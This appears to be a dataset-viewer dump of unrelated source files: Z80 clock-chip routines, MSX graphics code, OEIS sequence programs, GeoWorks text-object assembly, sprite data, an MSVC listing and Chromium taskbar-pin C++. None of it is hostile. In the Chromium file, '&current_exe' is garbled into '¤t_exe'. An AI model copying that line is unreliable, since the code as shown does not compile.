JR Z, PNTMNOT
LD A, (DISPBUF)
OR POINTBT
LD (DISPBUF), A
PNTMNOT:
POP AF
RET
READ_C:
LD A, 1
LD (POINTON), A ; set flag for the rightmost display dot
LD A, PIODR
OUT (R_DDRR), A ; data port, channel B input mode
LD A, RTCHOLD
OUT (R_ADCT), A ; assert HOLD
CALL WAIT150u
LD HL, RTCBUF
LD A, SC1AD ; second nibbles
CALL RD2NIB
CALL BCD2BIN
LD (HL), A ; store in buffer
INC HL
LD A, MI1AD ; minute nibbles
CALL RD2NIB
AND RTC_MIM
CALL BCD2BIN
LD (HL), A ; store in buffer
OUT (LITES), A ; debug
INC HL
LD A, HR1AD
CALL RD2NIB ; hour nibbles
AND RTC_HRM ; mask off PM & 24h bits
CALL BCD2BIN
LD (HL), A ; store in buffer
INC HL
LD A, WDAD ; week-day nibble
CALL RD1NIB
LD (HL), A ; store in buffer
INC HL
LD A, DY1AD ; day-of month nibbles
CALL RD2NIB
AND RTC_DYM ; mask leap year flag
CALL BCD2BIN
LD (HL), A ; store in buffer
INC HL
LD A, MO1AD ; month nibbles
CALL RD2NIB
CALL BCD2BIN
LD (HL), A ; store in buffer
INC HL
LD A, YR1AD ; year in century nibbles
CALL RD2NIB
CALL BCD2BIN
LD (HL), A ; store in buffer
LD A, 0
OUT (R_ADCT), A ; de-assert HOLD
RET
RD1NIB: ; read one nibble, expects RTC address in A,
PUSH BC
OR RTCHOLD
LD C, A ; keep address + HOLD
OUT (R_ADCT), A ; address + HOLD out
OR RTCHOLD | RTCREAD
OUT (R_ADCT), A ; address + HOLD + READ out
IN A, (R_DATA) ; data in
AND RTCDMSK ; mask upper nibble
LD B, A ; keep value from RTC
LD A, C
OUT (R_ADCT), A ; address + HOLD out
LD A, B
POP BC
RET
RD2NIB: ; read two consecutive nibbles, expects
; first RTC address in A
PUSH BC
LD B, A ; keep address
CALL RD1NIB
LD C, A ; keep lower nibble
LD A, B ; restore address
INC A ; point to next
CALL RD1NIB
RLC A ; shift to upper nibble
RLC A
RLC A
RLC A
OR C ; combine nibbles
POP BC
RET
WRITE_R:
CALL WRITE_C
RST 0
WRITE_C:
LD A, PIODW
OUT (R_DDRR), A ; data port, channel B output mode
LD A, RTCHOLD
OUT (R_ADCT), A
CALL WAIT150u
LD HL, RB_SC
LD A, (HL)
CALL BIN2BCD
LD B, A
LD A, SC1AD | RTCHOLD ; second nibbles
CALL WR2NIB
INC HL ; RB_MI
LD A, (HL)
CALL BIN2BCD
LD B, A
LD A, MI1AD | RTCHOLD ; minute nibbles
CALL WR2NIB
INC HL ; RB_HR
LD A, (HL)
CALL CALCPM
CALL BIN2BCD
OR C ; add the 24 hour and optional PM clock bits
LD B, A
LD A, HR1AD | RTCHOLD
CALL WR2NIB ; hour nibbles
INC HL
LD A, (HL)
CALL BIN2BCD
LD B, A
LD A, WDAD | RTCHOLD ; day-of-week nibble
CALL WR1NIB
INC HL
LD A, (HL)
CALL BIN2BCD
LD B, A
LD A, DY1AD | RTCHOLD
CALL WR2NIB ; day-of-month nibbles
INC HL
LD A, (HL)
CALL BIN2BCD
LD B, A
LD A, MO1AD | RTCHOLD
CALL WR2NIB ; month nibbles
INC HL
LD A, (HL)
CALL BIN2BCD
LD B, A
LD A, YR1AD | RTCHOLD
CALL WR2NIB ; year-in-century nibbles
LD A, 0
OUT (R_ADCT), A ; de-assert HOLD
LD A, PIODR
OUT (R_DDRR), A ; data port, channel B input mode
RET
WR1NIB: ; write a nibble from (HL) to RTC
OUT (R_ADCT), A ; address & hold out
LD C, R_DATA
OUT (C), B ; data out
OR RTCWRIT
OUT (R_ADCT), A ; assert write
AND RTCNOWR
OUT (R_ADCT), A ; de-assert write
RET
WR2NIB: ; write nibbles from (HL) and (HL+1) to RTC
PUSH AF ; save RTC address
CALL WR1NIB
POP AF ; restore RTC address
INC A ; point to next 10's address, HOLD not effected
RRC B
RRC B
RRC B
RRC B
CALL WR1NIB
RET
CALCPM:
PUSH AF
LD C, RTC_24h ; preset for AM pattern
CP 12
JR C, CPLOW
LD C, RTC_24h | RTC_PM ; override with PB pattern
CPLOW:
POP AF
RET
WAIT150u:
PUSH AF
PUSH BC
LD B, W150C
W150LP:
DJNZ W150LP ; Wait
POP BC
POP AF
RET
BCD2BIN:
; input; A contains 2 BCD digits - MSN and LSN
; output; A contains a binary value
PUSH BC
PUSH AF
AND 0F0h ; create MSN value only
RRCA
LD C, A ; keep MSN * 8
RRCA
RRCA
ADD A, C ; add MSN * 2 to MSN * 8
LD C, A ; keep the MSN * 10
POP AF
AND 00Fh ; create LSN value only
ADD A, C ; create complete binary value
POP BC
RET
BIN2BCD:
; input; A contains a binary value less than 100 (MSNb & LSNb)
; output; A contains two BCD digits - MSN and LSN
PUSH BC
LD B, 0 ; start with zero MSB
BI2BLP SUB 10
JP C, BI2BRY ; done counting 10s
INC B
JR BI2BLP ; continue until A < 10
BI2BRY ADD A, 10 ; compensate
RLC B ; move 10s to upper nibble
RLC B
RLC B
RLC B
ADD A, B ; merge nibbles
POP BC
RET
SETRBUF:
LD IX, MANBUF ; point to RTCBUF seconds
LD A, (IX + 0) ; load from MANBUF seconds
CALL BCD2BIN
LD (IX + MROFFS), A ; store to RTCBUF seconds
INC IX
LD A, (IX + 0) ; minutes
CALL BCD2BIN
LD (IX + MROFFS), A ;
INC IX
LD A, (IX + 0) ; hours
CALL BCD2BIN
LD (IX + MROFFS), A ;
INC IX
LD A, (IX + 0) ; day of week
CALL BCD2BIN
LD (IX + MROFFS), A ;
INC IX
LD A, (IX + 0) ; day of month
CALL BCD2BIN
LD (IX + MROFFS), A ;
INC IX
LD A, (IX + 0) ; months
CALL BCD2BIN
LD (IX + MROFFS), A ;
INC IX
LD A, (IX + 0) ; years
CALL BCD2BIN
LD (IX + MROFFS), A ;
INC IX
CALL WRITE_C
; RST 0 ; return to monitor
; JP READ_C
RET
; INTERRUPT SERVICE ROUTINES
ICTC1:
ICTC2:
ICTC3:
EI
RETI ;DUMMY ROUTINES
ICTC0:
PUSH AF
LD A, (COUNT) ;CHANGE TIMER COUNT
DEC A
LD (COUNT), A
CP 0
JR NZ, IC0DONE ; (COUNT) not yet zero, exit ISR
LD A, COUNTER ;ELSE, RESET COUNTER VALUE
LD (COUNT), A
LD A, 1
LD (SECFLAG), A
IC0DONE:
POP AF
EI
RETI
END
|
;
; MSX extension for "GFX - a small graphics library" by Jannone
;
XLIB surface_pixeladdress
XREF base_graphics
INCLUDE "graphics/grafix.inc"
;
; $Id: surface_pixladdr.asm,v 1.3 2009/05/21 06:58:11 stefano Exp $
;
; ******************************************************************
;
; Get absolute pixel address in map of virtual (x,y) coordinate.
;
; in: hl = (x,y) coordinate of pixel (h,l)
;
; out: de = address of pixel byte
; a = bit number of byte where pixel is to be placed
; fz = 1 if bit number is 0 of pixel position
;
; registers changed after return:
; ......hl/ixiy same
; afbcde../.... different
;
.surface_pixeladdress
ld c,h ; X
ld b,l ; Y
ld a,h ; X
and @11111000
ld l,a
ld a,b ; Y
rra
rra
rra
and @00011111
ld h,a ; + ((Y & @11111000) << 5)
ld a,b ; Y
and 7
ld e,a
ld d,0
add hl,de ; + Y&7
ld de,(base_graphics)
add hl,de
ex de,hl
ld a,c
and @00000111
xor @00000111
ret
|
; A067041: a(n) = n^(product of digits of n).
; 1,1,4,27,256,3125,46656,823543,16777216,387420489,1,11,144,2197,38416,759375,16777216,410338673,11019960576,322687697779,1,441,234256,148035889,110075314176,95367431640625
mov $1,1
mov $3,$0
lpb $0
mov $2,$0
div $0,10
mod $2,10
pow $3,$2
mov $1,$3
lpe
mul $1,3
sub $1,3
div $1,3
add $1,1
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: textGState.asm
AUTHOR: John Wedgwood, Oct 6, 1989
ROUTINES:
Name Description
---- -----------
TextSetupGState Set up a gstate for drawing or calculation.
TextGStateCreate Make a gstate for caching.
TextGStateDestroy Nuke the cached gstate.
TextSetColor Set the background wash color.
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 10/ 6/89 Initial revision
DESCRIPTION:
GState manipulation routines for the text object.
$Id: textGState.asm,v 1.1 97/04/07 11:18:02 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EC <MAX_REF_COUNT = 20 >
TextFixed segment
TextFixed_DerefVis_DI proc near
class VisTextClass
EC < call T_AssertIsVisText >
mov di, ds:[si]
add di, ds:[di].Vis_offset
ret
TextFixed_DerefVis_DI endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextGStateCreate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a gstate, if needed.
CALLED BY: UTILITY
PASS: ds:*si = pointer to VisTextInstance.
RETURN: ds:*si.VTI_gstate set to a valid drawing/calc gstate.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 9/ 8/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextGStateCreate method VisTextClass, MSG_VIS_CREATE_CACHED_GSTATES
class VisTextClass
uses ax, cx, dx, bp, di, si
.enter
BEC < call CheckRunPositions >
call TextFixed_DerefVis_DI
mov al, ds:[di].VTI_gsRefCount
and al, mask GSRCAF_REF_COUNT
EC < cmp al, MAX_REF_COUNT >
EC < ERROR_AE VIS_TEXT_ILLEGAL_GS_REF_COUNT >
inc ds:[di].VTI_gsRefCount ; Update the count
cmp ds:[di].VTI_gstate, 0
jne done ; Quit if we have a gstate
; We need to create a gstate. We can do a slight optimization here
; by calling GrCreateState *if* the object if not realized
test ds:[di].VI_attrs, mask VA_REALIZED ; Check for realized.
jz notRealized
; Fetch a GState, using the safest approach --
; (One which allows us to exist in 32-bit documents)
mov ax, MSG_VIS_VUP_CREATE_GSTATE
call ObjCallInstanceNoLock
mov di, bp ; copy result to di
jc initGState ; If successful, initialize
;
; OK. That didn't work. Rather than dying miserably, let's just
; create a plain old GState & get on with it.
;
notRealized:
clr di
call GrCreateState ; Create a GState
initGState:
call TextInitGState ; Init with text stuff...
mov ax, di ; ax <- gstate
call TextFixed_DerefVis_DI
mov ds:[di].VTI_gstate, ax ; Save it
mov ds:[di].VTI_gstateRegion, -1 ; No region yet
done:
.leave
ret
TextGStateCreate endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextGStateDestroy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy the saved gstate.
CALLED BY: UTILITY
PASS: ds:*si = pointer to VisTextInstance.
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 9/ 8/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextGStateDestroy method VisTextClass, MSG_VIS_DESTROY_CACHED_GSTATES
class VisTextClass
uses ax, di
.enter
BEC < call CheckRunPositions >
call TextFixed_DerefVis_DI
mov al, ds:[di].VTI_gsRefCount
and al, mask GSRCAF_REF_COUNT
EC < cmp al, MAX_REF_COUNT >
EC < ERROR_A VIS_TEXT_ILLEGAL_GS_REF_COUNT >
EC < tst al >
EC < ERROR_Z UI_NEGATIVE_GSREFCOUNT_IN_TEXT_OBJ >
dec ds:[di].VTI_gsRefCount
dec al ; Nuke gstate only when
jnz done ; the reference count
clr ax
xchg ax, ds:[di].VTI_gstate ; goes to zero, ax = gstate
xchg ax, di ; one byte move
call GrDestroyState
done:
.leave
ret
TextGStateDestroy endp
COMMENT @----------------------------------------------------------------------
FUNCTION: TextInitGState
DESCRIPTION: Initialize a gstate to the default expected by the text object
CALLED BY: TextGStateCreate, VisTextDraw, VisTextNotifyGeometryValid
PASS:
*ds:si - instance
di - gstate
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/89 Initial version
------------------------------------------------------------------------------@
TextInitGState proc far uses ax, bx
.enter
call TextInitModeAndBorder
.leave
ret
TextInitGState endp
COMMENT @----------------------------------------------------------------------
FUNCTION: TextInitModeAndBorder
DESCRIPTION: Initialize a gstate to the default mode and border
CALLED BY: TextInitGState, VisTextDraw
PASS:
*ds:si - instance
di - gstate
RETURN:
none
DESTROYED:
ax, bx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/89 Initial version
z------------------------------------------------------------------------------@
TextInitModeAndBorder proc far
mov al, mask TM_DRAW_BASE
clr ah ; Don't clear anything.
call GrSetTextMode
mov al, SDM_100 ; assume enabled
call GrSetTextMask
ret
TextInitModeAndBorder endp
TextFixed ends
|
; ASM source file created by SevenuP v1.21
; SevenuP (C) Copyright 2002-2007 by Jaime Tejedor Gomez, aka Metalbrain
;GRAPHIC DATA:
;Pixel Size: ( 24, 32)
;Char Size: ( 3, 4)
;Sort Priorities: X char, Char line, Y char
;Data Outputted: Gfx
;Interleave: Sprite
;Mask: No
esqueleto_gira:
DEFB 0, 0, 0, 0, 62, 0, 0,127
DEFB 0, 0,201,128, 0,201,128, 0
DEFB 54, 0, 0, 62, 0, 6, 20, 48
DEFB 22,193,180, 16, 28, 4, 52,235
DEFB 214, 52, 8, 22, 56,235,142, 56
DEFB 8, 14, 56,119, 14, 60, 0, 30
DEFB 24, 54, 12, 6,127, 48, 6,182
DEFB 176, 0,182,128, 0,128,128, 0
DEFB 128,128, 0,128,128, 1, 65, 64
DEFB 0,128,128, 1, 0, 64, 1, 0
DEFB 64, 1, 0, 64, 1, 0, 64, 1
DEFB 0, 64, 1,128,192, 3,193,224 |
; A170395: Number of reduced words of length n in Coxeter group on 50 generators S_i with relations (S_i)^2 = (S_i S_j)^43 = I.
; 1,50,2450,120050,5882450,288240050,14123762450,692064360050,33911153642450,1661646528480050,81420679895522450,3989613314880600050,195491052429149402450,9579061569028320720050,469374016882387715282450
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,49
lpe
mov $0,$2
div $0,49
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG5095 DB '0', 0aH, 00H
ORG $+1
$SG5097 DB '1', 0aH, 00H
ORG $+1
$SG5099 DB '3', 0aH, 00H
ORG $+5
$SG5102 DB 'Hello World!', 0aH, 00H
CONST ENDS
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC ?f@@YAXH@Z ; f
PUBLIC main
PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
EXTRN __acrt_iob_func:PROC
EXTRN __stdio_common_vfprintf:PROC
; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA
_BSS SEGMENT
?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_BSS ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN4
DD imagerel $LN4+80
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN6
DD imagerel $LN6+83
DD imagerel $unwind$printf
pdata ENDS
pdata SEGMENT
$pdata$main DD imagerel $LN11
DD imagerel $LN11+35
DD imagerel $unwind$main
pdata ENDS
xdata SEGMENT
$unwind$main DD 010401H
DD 04204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 041b01H
DD 07017521bH
DD 030156016H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 081401H
DD 0a6414H
DD 095414H
DD 083414H
DD 070105214H
xdata ENDS
; Function compile flags: /Ogtpy
_TEXT SEGMENT
main PROC
; File C:\Users\libit\source\repos\L023A\L023A\L023A.cpp
; Line 23
$LN11:
sub rsp, 40 ; 00000028H
; Line 24
lea rcx, OFFSET FLAT:$SG5102
call printf
; Line 17
lea rcx, OFFSET FLAT:$SG5099
call printf
; Line 26
xor eax, eax
add rsp, 40 ; 00000028H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
_TEXT SEGMENT
a$ = 8
?f@@YAXH@Z PROC ; f
; File C:\Users\libit\source\repos\L023A\L023A\L023A.cpp
; Line 8
test ecx, ecx
je SHORT $LN4@f
cmp ecx, 1
je SHORT $LN5@f
; Line 17
lea rcx, OFFSET FLAT:$SG5099
; Line 20
jmp printf
$LN5@f:
; Line 14
lea rcx, OFFSET FLAT:$SG5097
; Line 20
jmp printf
$LN4@f:
; Line 11
lea rcx, OFFSET FLAT:$SG5095
; Line 20
jmp printf
?f@@YAXH@Z ENDP ; f
_TEXT ENDS
; Function compile flags: /Ogtpy
; COMDAT printf
_TEXT SEGMENT
_Format$ = 80
printf PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 954
$LN6:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
push rbx
push rsi
push rdi
sub rsp, 48 ; 00000030H
mov rdi, rcx
; Line 957
lea rsi, QWORD PTR _Format$[rsp+8]
; Line 958
mov ecx, 1
call __acrt_iob_func
mov rbx, rax
; Line 643
call __local_stdio_printf_options
xor r9d, r9d
mov QWORD PTR [rsp+32], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 961
add rsp, 48 ; 00000030H
pop rdi
pop rsi
pop rbx
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 642
$LN4:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rbp
mov QWORD PTR [rsp+24], rsi
push rdi
sub rsp, 48 ; 00000030H
mov rbx, r9
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
; Line 643
call __local_stdio_printf_options
mov r9, rdi
mov QWORD PTR [rsp+32], rbx
mov r8, rsi
mov rdx, rbp
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 644
mov rbx, QWORD PTR [rsp+64]
mov rbp, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; Line 88
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; Line 89
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
|
; A131763: Series reversion of x(1-4x)/(1-x).
; Submitted by Jon Maiga
; 1,3,21,183,1785,18651,204141,2310447,26819121,317530227,3819724293,46553474919,573608632233,7133530172619,89423593269213,1128765846337887,14334721079385441,183021615646831587,2347944226115977461,30250309354902101271,391241497991342192985
seq $0,103211 ; a(n) = (1/n) * Sum_{i=0..n-1} C(n,i)*C(n,i+1)*3^i*4^(n-i), a(0)=1.
mul $0,3
add $0,1
div $0,4
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/utility/shell_handler_impl_win.h"
#include <shldisp.h>
#include "base/files/file_enumerator.h"
#include "base/files/file_path.h"
#include "base/path_service.h"
#include "base/scoped_native_library.h"
#include "base/win/scoped_bstr.h"
#include "base/win/scoped_com_initializer.h"
#include "base/win/scoped_comptr.h"
#include "base/win/scoped_variant.h"
#include "base/win/shortcut.h"
#include "chrome/installer/util/install_util.h"
#include "content/public/utility/utility_thread.h"
#include "mojo/public/cpp/bindings/strong_binding.h"
namespace {
// This class checks if the current executable is pinned to the taskbar. It also
// keeps track of the errors that occurs that prevents it from getting a result.
class IsPinnedToTaskbarHelper {
public:
IsPinnedToTaskbarHelper() = default;
// Returns true if the current executable is pinned to the taskbar.
bool GetResult();
bool error_occured() { return error_occured_; }
private:
// Returns the shell resource string identified by |resource_id|, or an empty
// string on error.
base::string16 LoadShellResourceString(uint32_t resource_id);
// Returns true if the "Unpin from taskbar" verb is available for |shortcut|,
// which means that the shortcut is pinned to the taskbar.
bool ShortcutHasUnpinToTaskbarVerb(const base::FilePath& shortcut);
// Returns true if the target parameter of the |shortcut| evaluates to
// |program_compare|.
bool IsShortcutForProgram(const base::FilePath& shortcut,
const InstallUtil::ProgramCompare& program_compare);
// Returns true if one of the shortcut inside the given |directory| evaluates
// to |program_compare| and is pinned to the taskbar.
bool DirectoryContainsPinnedShortcutForProgram(
const base::FilePath& directory,
const InstallUtil::ProgramCompare& program_compare);
bool error_occured_ = false;
base::win::ScopedCOMInitializer scoped_com_initializer_;
DISALLOW_COPY_AND_ASSIGN(IsPinnedToTaskbarHelper);
};
base::string16 IsPinnedToTaskbarHelper::LoadShellResourceString(
uint32_t resource_id) {
base::ScopedNativeLibrary scoped_native_library(::LoadLibraryEx(
FILE_PATH_LITERAL("shell32.dll"), nullptr, LOAD_LIBRARY_AS_DATAFILE));
if (!scoped_native_library.is_valid())
return base::string16();
const wchar_t* resource_ptr = nullptr;
int length = ::LoadStringW(scoped_native_library.get(), resource_id,
reinterpret_cast<wchar_t*>(&resource_ptr), 0);
if (!length || !resource_ptr)
return base::string16();
return base::string16(resource_ptr, length);
}
bool IsPinnedToTaskbarHelper::ShortcutHasUnpinToTaskbarVerb(
const base::FilePath& shortcut) {
// Found inside shell32.dll's resources.
constexpr uint32_t kUnpinFromTaskbarID = 5387;
base::string16 verb_name(LoadShellResourceString(kUnpinFromTaskbarID));
if (verb_name.empty()) {
error_occured_ = true;
return false;
}
base::win::ScopedComPtr<IShellDispatch> shell_dispatch;
HRESULT hresult =
shell_dispatch.CreateInstance(CLSID_Shell, nullptr, CLSCTX_INPROC_SERVER);
if (FAILED(hresult) || !shell_dispatch) {
error_occured_ = true;
return false;
}
base::win::ScopedComPtr<Folder> folder;
hresult = shell_dispatch->NameSpace(
base::win::ScopedVariant(shortcut.DirName().value().c_str()),
folder.Receive());
if (FAILED(hresult) || !folder) {
error_occured_ = true;
return false;
}
base::win::ScopedComPtr<FolderItem> item;
hresult = folder->ParseName(
base::win::ScopedBstr(shortcut.BaseName().value().c_str()),
item.Receive());
if (FAILED(hresult) || !item) {
error_occured_ = true;
return false;
}
base::win::ScopedComPtr<FolderItemVerbs> verbs;
hresult = item->Verbs(verbs.Receive());
if (FAILED(hresult) || !verbs) {
error_occured_ = true;
return false;
}
long verb_count = 0;
hresult = verbs->get_Count(&verb_count);
if (FAILED(hresult)) {
error_occured_ = true;
return false;
}
long error_count = 0;
for (long i = 0; i < verb_count; ++i) {
base::win::ScopedComPtr<FolderItemVerb> verb;
hresult = verbs->Item(base::win::ScopedVariant(i, VT_I4), verb.Receive());
if (FAILED(hresult) || !verb) {
error_count++;
continue;
}
base::win::ScopedBstr name;
hresult = verb->get_Name(name.Receive());
if (FAILED(hresult)) {
error_count++;
continue;
}
if (base::StringPiece16(name, name.Length()) == verb_name)
return true;
}
if (error_count == verb_count)
error_occured_ = true;
return false;
}
bool IsPinnedToTaskbarHelper::IsShortcutForProgram(
const base::FilePath& shortcut,
const InstallUtil::ProgramCompare& program_compare) {
base::win::ShortcutProperties shortcut_properties;
if (!ResolveShortcutProperties(
shortcut, base::win::ShortcutProperties::PROPERTIES_TARGET,
&shortcut_properties)) {
return false;
}
return program_compare.EvaluatePath(shortcut_properties.target);
}
bool IsPinnedToTaskbarHelper::DirectoryContainsPinnedShortcutForProgram(
const base::FilePath& directory,
const InstallUtil::ProgramCompare& program_compare) {
base::FileEnumerator shortcut_enum(directory, false,
base::FileEnumerator::FILES);
for (base::FilePath shortcut = shortcut_enum.Next(); !shortcut.empty();
shortcut = shortcut_enum.Next()) {
if (IsShortcutForProgram(shortcut, program_compare) &&
ShortcutHasUnpinToTaskbarVerb(shortcut)) {
return true;
}
}
return false;
}
bool IsPinnedToTaskbarHelper::GetResult() {
base::FilePath current_exe;
PathService::Get(base::FILE_EXE, ¤t_exe);
InstallUtil::ProgramCompare current_exe_compare(current_exe);
// Look into the "Quick Launch\User Pinned\TaskBar" folder.
base::FilePath taskbar_pins_dir;
PathService::Get(base::DIR_TASKBAR_PINS, &taskbar_pins_dir);
if (DirectoryContainsPinnedShortcutForProgram(taskbar_pins_dir,
current_exe_compare)) {
return true;
}
// Check all folders in ImplicitAppShortcuts.
base::FilePath implicit_app_shortcuts_dir;
PathService::Get(base::DIR_IMPLICIT_APP_SHORTCUTS,
&implicit_app_shortcuts_dir);
base::FileEnumerator directory_enum(implicit_app_shortcuts_dir, false,
base::FileEnumerator::DIRECTORIES);
for (base::FilePath directory = directory_enum.Next(); !directory.empty();
directory = directory_enum.Next()) {
if (DirectoryContainsPinnedShortcutForProgram(directory,
current_exe_compare)) {
return true;
}
}
return false;
}
} // namespace
ShellHandlerImpl::ShellHandlerImpl() = default;
ShellHandlerImpl::~ShellHandlerImpl() = default;
// static
void ShellHandlerImpl::Create(mojom::ShellHandlerRequest request) {
mojo::MakeStrongBinding(base::MakeUnique<ShellHandlerImpl>(),
std::move(request));
}
void ShellHandlerImpl::IsPinnedToTaskbar(
const IsPinnedToTaskbarCallback& callback) {
IsPinnedToTaskbarHelper helper;
bool is_pinned_to_taskbar = helper.GetResult();
callback.Run(!helper.error_occured(), is_pinned_to_taskbar);
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.